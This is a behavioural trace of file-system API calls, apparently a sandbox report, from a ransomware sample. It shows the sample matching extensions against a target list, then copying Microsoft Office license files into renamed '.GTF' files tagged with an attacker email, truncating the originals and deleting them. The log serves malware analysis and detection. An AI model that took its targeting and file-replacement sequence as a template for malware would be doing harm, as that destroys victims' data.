	[0181.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms") returned 84
	[0181.356] lstrlenW (lpString=".dbf") returned 4
	[0181.356] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms") returned 84
	[0181.356] lstrlenW (lpString=".1cd") returned 4
	[0181.356] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms") returned 84
	[0181.356] lstrlenW (lpString=".jpg") returned 4
	[0181.356] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms") returned 84
	[0181.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms") returned 84
	[0181.356] lstrlenW (lpString=".doc") returned 4
	[0181.356] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.356] lstrlenW (lpString=".docx") returned 5
	[0181.356] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.356] lstrlenW (lpString=".pdf") returned 4
	[0181.356] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.356] lstrlenW (lpString=".xls") returned 4
	[0181.356] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.356] lstrlenW (lpString=".xlsx") returned 5
	[0181.356] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.356] lstrlenW (lpString=".ppt") returned 4
	[0181.356] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms") returned 84
	[0181.356] lstrlenW (lpString=".zip") returned 4
	[0181.356] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.356] lstrlenW (lpString=".rar") returned 4
	[0181.356] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.356] lstrlenW (lpString=".bz2") returned 4
	[0181.356] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.356] lstrlenW (lpString=".7z") returned 3
	[0181.357] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms") returned 84
	[0181.357] lstrlenW (lpString=".dbf") returned 4
	[0181.357] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms") returned 84
	[0181.357] lstrlenW (lpString=".1cd") returned 4
	[0181.357] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms") returned 84
	[0181.357] lstrlenW (lpString=".jpg") returned 4
	[0181.357] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.357] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0181.357] lstrlenW (lpString="O365SmallBusPremR_Grace-ul-oob.xrm-ms") returned 37
	[0181.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0181.358] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11644) returned 1
	[0181.358] CloseHandle (hObject=0x53c) returned 1
	[0181.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_grace-ul-oob.xrm-ms")) returned 0x220
	[0181.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_grace-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0181.358] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.358] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_grace-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0181.359] GetLastError () returned 0x0
	[0181.359] ReadFile (in: hFile=0x53c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x2d7c, lpOverlapped=0x0) returned 1
	[0181.361] WriteFile (in: hFile=0x54c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2d80, lpOverlapped=0x0) returned 1
	[0181.362] ReadFile (in: hFile=0x53c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.362] WriteFile (in: hFile=0x54c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0181.363] SetEndOfFile (hFile=0x54c) returned 1
	[0181.363] CloseHandle (hObject=0x54c) returned 1
	[0181.363] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.363] SetEndOfFile (hFile=0x53c) returned 1
	[0181.365] CloseHandle (hObject=0x53c) returned 1
	[0181.365] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.366] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_grace-ul-oob.xrm-ms")) returned 1
	[0181.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms") returned 87
	[0181.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms") returned 87
	[0181.366] lstrlenW (lpString=".doc") returned 4
	[0181.366] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.366] lstrlenW (lpString=".docx") returned 5
	[0181.366] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.366] lstrlenW (lpString=".pdf") returned 4
	[0181.367] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.367] lstrlenW (lpString=".xls") returned 4
	[0181.367] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.367] lstrlenW (lpString=".xlsx") returned 5
	[0181.367] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.367] lstrlenW (lpString=".ppt") returned 4
	[0181.367] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms") returned 87
	[0181.367] lstrlenW (lpString=".zip") returned 4
	[0181.367] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.367] lstrlenW (lpString=".rar") returned 4
	[0181.367] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.367] lstrlenW (lpString=".bz2") returned 4
	[0181.367] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.367] lstrlenW (lpString=".7z") returned 3
	[0181.367] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms") returned 87
	[0181.367] lstrlenW (lpString=".dbf") returned 4
	[0181.367] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms") returned 87
	[0181.367] lstrlenW (lpString=".1cd") returned 4
	[0181.367] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms") returned 87
	[0181.367] lstrlenW (lpString=".jpg") returned 4
	[0181.367] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms") returned 87
	[0181.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms") returned 87
	[0181.367] lstrlenW (lpString=".doc") returned 4
	[0181.367] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.367] lstrlenW (lpString=".docx") returned 5
	[0181.367] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.367] lstrlenW (lpString=".pdf") returned 4
	[0181.367] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.367] lstrlenW (lpString=".xls") returned 4
	[0181.367] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.367] lstrlenW (lpString=".xlsx") returned 5
	[0181.368] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.368] lstrlenW (lpString=".ppt") returned 4
	[0181.368] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms") returned 87
	[0181.368] lstrlenW (lpString=".zip") returned 4
	[0181.368] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.368] lstrlenW (lpString=".rar") returned 4
	[0181.368] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.368] lstrlenW (lpString=".bz2") returned 4
	[0181.368] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.368] lstrlenW (lpString=".7z") returned 3
	[0181.368] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms") returned 87
	[0181.368] lstrlenW (lpString=".dbf") returned 4
	[0181.368] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms") returned 87
	[0181.368] lstrlenW (lpString=".1cd") returned 4
	[0181.368] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms") returned 87
	[0181.368] lstrlenW (lpString=".jpg") returned 4
	[0181.368] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.368] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0181.368] lstrlenW (lpString="O365SmallBusPremR_Subscription1-pl.xrm-ms") returned 41
	[0181.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0181.369] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11215) returned 1
	[0181.369] CloseHandle (hObject=0x53c) returned 1
	[0181.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-pl.xrm-ms")) returned 0x220
	[0181.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0181.369] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.370] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0181.370] GetLastError () returned 0x0
	[0181.370] ReadFile (in: hFile=0x53c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x2bcf, lpOverlapped=0x0) returned 1
	[0181.538] WriteFile (in: hFile=0x54c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2bd0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2bd0, lpOverlapped=0x0) returned 1
	[0181.588] ReadFile (in: hFile=0x53c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.588] WriteFile (in: hFile=0x54c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x126, lpOverlapped=0x0) returned 1
	[0181.588] SetEndOfFile (hFile=0x54c) returned 1
	[0181.588] CloseHandle (hObject=0x54c) returned 1
	[0181.588] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.588] SetEndOfFile (hFile=0x53c) returned 1
	[0181.591] CloseHandle (hObject=0x53c) returned 1
	[0181.591] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.591] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-pl.xrm-ms")) returned 1
	[0181.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms") returned 91
	[0181.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms") returned 91
	[0181.592] lstrlenW (lpString=".doc") returned 4
	[0181.592] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.592] lstrlenW (lpString=".docx") returned 5
	[0181.592] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.592] lstrlenW (lpString=".pdf") returned 4
	[0181.592] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.592] lstrlenW (lpString=".xls") returned 4
	[0181.592] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.592] lstrlenW (lpString=".xlsx") returned 5
	[0181.592] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.592] lstrlenW (lpString=".ppt") returned 4
	[0181.592] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms") returned 91
	[0181.592] lstrlenW (lpString=".zip") returned 4
	[0181.592] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.592] lstrlenW (lpString=".rar") returned 4
	[0181.592] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.592] lstrlenW (lpString=".bz2") returned 4
	[0181.592] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.592] lstrlenW (lpString=".7z") returned 3
	[0181.592] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms") returned 91
	[0181.592] lstrlenW (lpString=".dbf") returned 4
	[0181.593] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms") returned 91
	[0181.593] lstrlenW (lpString=".1cd") returned 4
	[0181.593] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms") returned 91
	[0181.593] lstrlenW (lpString=".jpg") returned 4
	[0181.593] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms") returned 91
	[0181.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms") returned 91
	[0181.593] lstrlenW (lpString=".doc") returned 4
	[0181.593] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.593] lstrlenW (lpString=".docx") returned 5
	[0181.593] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.593] lstrlenW (lpString=".pdf") returned 4
	[0181.593] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.593] lstrlenW (lpString=".xls") returned 4
	[0181.593] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.593] lstrlenW (lpString=".xlsx") returned 5
	[0181.593] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.593] lstrlenW (lpString=".ppt") returned 4
	[0181.593] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms") returned 91
	[0181.593] lstrlenW (lpString=".zip") returned 4
	[0181.593] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.593] lstrlenW (lpString=".rar") returned 4
	[0181.593] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.593] lstrlenW (lpString=".bz2") returned 4
	[0181.593] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.593] lstrlenW (lpString=".7z") returned 3
	[0181.593] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms") returned 91
	[0181.593] lstrlenW (lpString=".dbf") returned 4
	[0181.593] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms") returned 91
	[0181.593] lstrlenW (lpString=".1cd") returned 4
	[0181.593] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms") returned 91
	[0181.594] lstrlenW (lpString=".jpg") returned 4
	[0181.594] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.594] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0181.594] lstrlenW (lpString="O365SmallBusPremR_Subscription3-ppd.xrm-ms") returned 42
	[0181.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0181.594] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=27735) returned 1
	[0181.594] CloseHandle (hObject=0x53c) returned 1
	[0181.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-ppd.xrm-ms")) returned 0x220
	[0181.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0181.595] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.595] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0181.596] GetLastError () returned 0x0
	[0181.596] ReadFile (in: hFile=0x53c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x6c57, lpOverlapped=0x0) returned 1
	[0181.618] WriteFile (in: hFile=0x54c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x6c60, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x6c60, lpOverlapped=0x0) returned 1
	[0181.620] ReadFile (in: hFile=0x53c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.620] WriteFile (in: hFile=0x54c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x128, lpOverlapped=0x0) returned 1
	[0181.620] SetEndOfFile (hFile=0x54c) returned 1
	[0181.620] CloseHandle (hObject=0x54c) returned 1
	[0181.620] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.620] SetEndOfFile (hFile=0x53c) returned 1
	[0181.631] CloseHandle (hObject=0x53c) returned 1
	[0181.632] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.632] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-ppd.xrm-ms")) returned 1
